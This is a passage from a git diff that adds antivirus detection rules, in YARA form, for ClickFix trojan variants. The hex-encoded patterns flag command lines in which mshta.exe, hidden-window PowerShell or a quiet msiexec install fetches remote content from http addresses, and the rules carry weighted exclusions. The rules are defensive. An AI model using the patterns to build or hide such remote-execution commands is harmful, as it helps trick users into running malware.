65 00 2f 00 } //10 + $a_02_49 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 76 00 69 00 65 00 77 00 2f 00 } //10 + $a_02_50 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 75 00 6e 00 2f 00 } //10 + $a_02_51 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 62 00 73 00 2f 00 } //10 + $a_02_52 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6f 00 2f 00 } //10 + $a_02_53 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 6c 00 2f 00 } //10 + $a_02_54 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 65 00 73 00 73 00 2f 00 } //10 + $a_02_55 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 2f 00 } //10 + $a_02_56 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 68 00 6f 00 70 00 2f 00 } //10 + $a_02_57 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 69 00 74 00 65 00 2f 00 } //10 + $a_02_58 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 70 00 61 00 63 00 65 00 2f 00 } //10 + $a_02_59 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 6f 00 72 00 65 00 2f 00 } //10 + $a_02_60 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 2f 00 } //10 + $a_02_61 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 75 00 64 00 79 00 2f 00 } //10 + $a_02_62 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 2f 00 } //10 + $a_02_63 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 2f 00 } //10 + $a_02_64 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 72 00 72 00 69 00 66 00 79 00 65 00 6e 00 79 00 62 00 2f 00 } //10 + $a_02_65 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //10 + $a_02_66 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 70 00 2f 00 } //10 + $a_02_67 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 76 00 69 00 70 00 2f 00 } //10 + $a_02_68 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6b 00 2f 00 } //10 + $a_02_69 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 } //10 + $a_02_70 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 6c 00 6c 00 2f 00 } //10 + $a_02_71 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 79 00 7a 00 2f 00 } //10 + $a_02_72 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 2f 00 } //10 + $a_02_73 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 3f 00 } //10 + $a_02_74 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 65 00 74 00 3f 00 } //10 + $a_02_75 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 69 00 7a 00 3f 00 } //10 + $a_02_76 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 6c 00 6f 00 67 00 3f 00 } //10 + $a_02_77 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 6f 00 6e 00 64 00 3f 00 } //10 + $a_02_78 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 62 00 75 00 7a 00 7a 00 3f 00 } //10 + $a_02_79 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 61 00 6d 00 3f 00 } //10 + $a_02_80 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 64 00 61 00 3f 00 } //10 + $a_02_81 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6c 00 69 00 63 00 6b 00 3f 00 } //10 + $a_02_82 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6c 00 75 00 62 00 3f 00 } //10 + $a_02_83 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6f 00 75 00 6e 00 74 00 72 00 79 00 3f 00 } //10 + $a_02_84 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 3f 00 } //10 + $a_02_85 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 79 00 6f 00 75 00 3f 00 } //10 + $a_02_86 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 79 00 6f 00 3f 00 } //10 + $a_02_87 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 61 00 74 00 3f 00 } //10 + $a_02_88 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 3f 00 } //10 + $a_02_89 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 3f 00 } //10 + $a_02_90 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 65 00 6d 00 70 00 6c 00 6f 00 79 00 65 00 72 00 64 00 62 00 7a 00 3f 00 } //10 + $a_02_91 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 65 00 70 00 73 00 3f 00 } //10 + $a_02_92 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 3f 00 } //10 + $a_02_93 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6c 00 76 00 3f 00 } //10 + $a_02_94 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 75 00 6e 00 3f 00 } //10 + $a_02_95 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 67 00 64 00 6e 00 3f 00 } //10 + $a_02_96 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 61 00 69 00 72 00 3f 00 } //10 + $a_02_97 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 65 00 6c 00 70 00 3f 00 } //10 + $a_02_98 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 63 00 75 00 3f 00 } //10 + $a_02_99 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 6e 00 66 00 6f 00 3f 00 } //10 + $a_02_100 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 61 00 74 00 3f 00 } //10 + $a_02_101 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 66 00 65 00 3f 00 } //10 + $a_02_102 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 6e 00 6b 00 3f 00 } //10 + $a_02_103 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 61 00 6e 00 3f 00 } //10 + $a_02_104 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 75 00 3f 00 } //10 + $a_02_105 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 76 00 65 00 3f 00 } //10 + $a_02_106 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 66 00 64 00 3f 00 } //10 + $a_02_107 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 34 00 61 00 3f 00 } //10 + $a_02_108 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 64 00 62 00 3f 00 } //10 + $a_02_109 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 65 00 3f 00 } //10 + $a_02_110 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 33 00 3f 00 } //10 + $a_02_111 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 34 00 3f 00 } //10 + $a_02_112 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 79 00 3f 00 } //10 + $a_02_113 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 3f 00 } //10 + $a_02_114 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 72 00 67 00 3f 00 } //10 + $a_02_115 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 61 00 72 00 74 00 79 00 3f 00 } //10 + $a_02_116 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 6f 00 3f 00 } //10 + $a_02_117 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 77 00 3f 00 } //10 + $a_02_118 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 3f 00 } //10 + $a_02_119 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 6e 00 3f 00 } //10 + $a_02_120 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 69 00 73 00 65 00 3f 00 } //10 + $a_02_121 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 76 00 69 00 65 00 77 00 3f 00 } //10 + $a_02_122 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 75 00 6e 00 3f 00 } //10 + $a_02_123 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 62 00 73 00 3f 00 } //10 + $a_02_124 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 63 00 6f 00 3f 00 } //10 + $a_02_125 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 6c 00 3f 00 } //10 + $a_02_126 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 65 00 73 00 73 00 3f 00 } //10 + $a_02_127 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 3f 00 } //10 + $a_02_128 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 68 00 6f 00 70 00 3f 00 } //10 + $a_02_129 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 69 00 74 00 65 00 3f 00 } //10 + $a_02_130 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 70 00 61 00 63 00 65 00 3f 00 } //10 + $a_02_131 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 6f 00 72 00 65 00 3f 00 } //10 + $a_02_132 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 3f 00 } //10 + $a_02_133 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 75 00 64 00 79 00 3f 00 } //10 + $a_02_134 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 3f 00 } //10 + $a_02_135 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 3f 00 } //10 + $a_02_136 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 72 00 72 00 69 00 66 00 79 00 65 00 6e 00 79 00 62 00 3f 00 } //10 + $a_02_137 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 64 00 61 00 79 00 3f 00 } //10 + $a_02_138 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 70 00 3f 00 } //10 + $a_02_139 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 76 00 69 00 70 00 3f 00 } //10 + $a_02_140 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6b 00 3f 00 } //10 + $a_02_141 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6c 00 64 00 3f 00 } //10 + $a_02_142 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 6c 00 6c 00 3f 00 } //10 + $a_02_143 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 79 00 7a 00 3f 00 } //10 + $a_02_144 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 3f 00 } //10 + $a_02_145 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-30] 2e 00 71 00 75 00 65 00 73 00 74 00 3f 00 } //10 + $a_00_146 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_147 = {2e 00 68 00 74 00 61 00 } //-500 .hta + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_02_3 & 1)*10+(#a_02_4 & 1)*10+(#a_02_5 & 1)*10+(#a_02_6 & 1)*10+(#a_02_7 & 1)*10+(#a_02_8 & 1)*10+(#a_02_9 & 1)*10+(#a_02_10 & 1)*10+(#a_02_11 & 1)*10+(#a_02_12 & 1)*10+(#a_02_13 & 1)*10+(#a_02_14 & 1)*10+(#a_02_15 & 1)*10+(#a_02_16 & 1)*10+(#a_02_17 & 1)*10+(#a_02_18 & 1)*10+(#a_02_19 & 1)*10+(#a_02_20 & 1)*10+(#a_02_21 & 1)*10+(#a_02_22 & 1)*10+(#a_02_23 & 1)*10+(#a_02_24 & 1)*10+(#a_02_25 & 1)*10+(#a_02_26 & 1)*10+(#a_02_27 & 1)*10+(#a_02_28 & 1)*10+(#a_02_29 & 1)*10+(#a_02_30 & 1)*10+(#a_02_31 & 1)*10+(#a_02_32 & 1)*10+(#a_02_33 & 1)*10+(#a_02_34 & 1)*10+(#a_02_35 & 1)*10+(#a_02_36 & 1)*10+(#a_02_37 & 1)*10+(#a_02_38 & 1)*10+(#a_02_39 & 1)*10+(#a_02_40 & 1)*10+(#a_02_41 & 1)*10+(#a_02_42 & 1)*10+(#a_02_43 & 1)*10+(#a_02_44 & 1)*10+(#a_02_45 & 1)*10+(#a_02_46 & 1)*10+(#a_02_47 & 1)*10+(#a_02_48 & 1)*10+(#a_02_49 & 1)*10+(#a_02_50 & 1)*10+(#a_02_51 & 1)*10+(#a_02_52 & 1)*10+(#a_02_53 & 1)*10+(#a_02_54 & 1)*10+(#a_02_55 & 1)*10+(#a_02_56 & 1)*10+(#a_02_57 & 1)*10+(#a_02_58 & 1)*10+(#a_02_59 & 1)*10+(#a_02_60 & 1)*10+(#a_02_61 & 1)*10+(#a_02_62 & 1)*10+(#a_02_63 & 1)*10+(#a_02_64 & 1)*10+(#a_02_65 & 1)*10+(#a_02_66 & 1)*10+(#a_02_67 & 1)*10+(#a_02_68 & 1)*10+(#a_02_69 & 1)*10+(#a_02_70 & 1)*10+(#a_02_71 & 1)*10+(#a_02_72 & 1)*10+(#a_02_73 & 1)*10+(#a_02_74 & 1)*10+(#a_02_75 & 1)*10+(#a_02_76 & 1)*10+(#a_02_77 & 1)*10+(#a_02_78 & 1)*10+(#a_02_79 & 1)*10+(#a_02_80 & 1)*10+(#a_02_81 & 1)*10+(#a_02_82 & 1)*10+(#a_02_83 & 1)*10+(#a_02_84 & 1)*10+(#a_02_85 & 1)*10+(#a_02_86 & 1)*10+(#a_02_87 & 1)*10+(#a_02_88 & 1)*10+(#a_02_89 & 1)*10+(#a_02_90 & 1)*10+(#a_02_91 & 1)*10+(#a_02_92 & 1)*10+(#a_02_93 & 1)*10+(#a_02_94 & 1)*10+(#a_02_95 & 1)*10+(#a_02_96 & 1)*10+(#a_02_97 & 1)*10+(#a_02_98 & 1)*10+(#a_02_99 & 1)*10+(#a_02_100 & 1)*10+(#a_02_101 & 1)*10+(#a_02_102 & 1)*10+(#a_02_103 & 1)*10+(#a_02_104 & 1)*10+(#a_02_105 & 1)*10+(#a_02_106 & 1)*10+(#a_02_107 & 1)*10+(#a_02_108 & 1)*10+(#a_02_109 & 1)*10+(#a_02_110 & 1)*10+(#a_02_111 & 1)*10+(#a_02_112 & 1)*10+(#a_02_113 & 1)*10+(#a_02_114 & 1)*10+(#a_02_115 & 1)*10+(#a_02_116 & 1)*10+(#a_02_117 & 1)*10+(#a_02_118 & 1)*10+(#a_02_119 & 1)*10+(#a_02_120 & 1)*10+(#a_02_121 & 1)*10+(#a_02_122 & 1)*10+(#a_02_123 & 1)*10+(#a_02_124 & 1)*10+(#a_02_125 & 1)*10+(#a_02_126 & 1)*10+(#a_02_127 & 1)*10+(#a_02_128 & 1)*10+(#a_02_129 & 1)*10+(#a_02_130 & 1)*10+(#a_02_131 & 1)*10+(#a_02_132 & 1)*10+(#a_02_133 & 1)*10+(#a_02_134 & 1)*10+(#a_02_135 & 1)*10+(#a_02_136 & 1)*10+(#a_02_137 & 1)*10+(#a_02_138 & 1)*10+(#a_02_139 & 1)*10+(#a_02_140 & 1)*10+(#a_02_141 & 1)*10+(#a_02_142 & 1)*10+(#a_02_143 & 1)*10+(#a_02_144 & 1)*10+(#a_02_145 & 1)*10+(#a_00_146 & 1)*-500+(#a_00_147 & 1)*-500) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SF.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SF.yar new file mode 100644 index 0000000000..66db7ae623 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SF.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_SF{ + meta: + description = "Trojan:Win32/ClickFix.SF,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-ff] 20 00 2d 00 77 00 [0-20] 20 00 31 00 } //10 + $a_02_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-ff] 20 00 2d 00 77 00 [0-20] 20 00 68 00 } //10 + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {74 00 72 00 61 00 63 00 6b 00 6d 00 61 00 70 00 2e 00 65 00 70 00 69 00 63 00 2e 00 63 00 6f 00 6d 00 } //-100 trackmap.epic.com + $a_00_4 = {2e 00 68 00 74 00 61 00 } //-100 .hta + $a_00_5 = {2e 00 70 00 73 00 31 00 } //-100 .ps1 + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-100+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SFB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SFB.yar new file mode 100644 index 0000000000..4154547b35 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SFB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_SFB{ + meta: + description = "Trojan:Win32/ClickFix.SFB,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 04 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_02_1 = {5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-ff] 2e 00 6d 00 73 00 69 00 } //100 + $a_00_2 = {2f 00 71 00 } //1 /q + $a_00_3 = {2f 00 69 00 } //1 /i + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=103 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SG.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SG.yar new file mode 100644 index 0000000000..9afe631663 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SG.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_SG{ + meta: + description = "Trojan:Win32/ClickFix.SG,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 06 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 } //1 mshta.exe + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {2e 00 68 00 74 00 61 00 } //-100 .hta + $a_00_3 = {2e 00 68 00 74 00 6d 00 6c 00 } //-100 .html + $a_00_4 = {2e 00 68 00 74 00 6d 00 } //-100 .htm + $a_00_5 = {2e 00 70 00 73 00 31 00 } //-100 .ps1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-100+(#a_00_3 & 1)*-100+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SH.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SH.yar index e41e15ec54..d1a2d4c6f2 100644 